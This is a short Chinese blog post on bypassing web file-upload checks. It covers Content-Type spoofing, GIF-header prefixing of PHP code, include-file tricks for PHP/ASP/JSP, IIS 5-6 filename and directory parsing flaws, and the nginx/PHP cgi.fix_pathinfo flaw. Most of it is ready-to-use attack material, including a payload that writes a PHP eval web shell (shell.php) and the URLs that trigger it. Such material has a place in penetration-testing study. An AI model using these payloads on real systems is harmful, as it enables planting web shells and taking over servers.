文件上传之绕过

2020-01-13  本文已影响0人  q1ya
文件上传校验方式

客户端JavaScript校验
服务端校验
①请求头中content-type字段校验
②文件内容头校验
③后缀黑名单
④后缀白名单
⑤自定义正则校验
WAF设备校验

前端绕过

校验只存在于网页的js,抓包修改即可绕过;如果还未发送数据就提示文件格式错误,就是前端判断

文件类型绕过

抓包修改,如将content-type字段改为image/gif

文件头绕过

在文件开头加入gif文件头
GIF89a<?php phpinfo(); ?>

配合文件包含绕过

在能够上传php文件,但是上传不了一句话木马的时候,说明服务端对文件内容做检测,可先上传一个文件包含函数的php文件,再包含木马txt文件
PHP
<?php Include("上传的txt文件路径");?>
ASP
<! --#include file="上传的txt文件路径" -->
JSP
<jsp:inclde page="上传的txt文件路径"/>
or
<%@include file="上传的txt文件路径"%>

服务器解析漏洞绕过 iis5-6

使用iis5.x-6.x版本的服务器,大多为windows server2003,网站比较古老,开发语句一般为asp
该解析漏洞也只能解析asp文件,而不能解析aspx和php文件
1、文件解析
上传文件名为xx.asp;.jpg会被解析为xx.asp
2、目录解析
iis5-6默认会把.asp,.asa目录下的文件都解析成asp文件
www.xxx.com/xx.asp/xx.jpg
www.xxx.com/xx.asa/xx.jpg
3、适用解析漏洞的文件类型
/test.asa
/test.cer
/test.cdx

服务器解析漏洞绕过iis7.5 nginx

适用环境:php开启了cgi.fix_pathinfo,而不是nginx或者iis7.5本身的漏洞,只能用于php文件
利用方式:
上传名字为test.jpg的文件,内容如下(任意其他后缀也行)
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
然后访问以下任意url
test.jpg/.php
test.jpg%00.php
test.jpg/%20\0.php
最终在test.jpg同级目录下生成一个shell.php

上一篇下一篇

猜你喜欢

热点阅读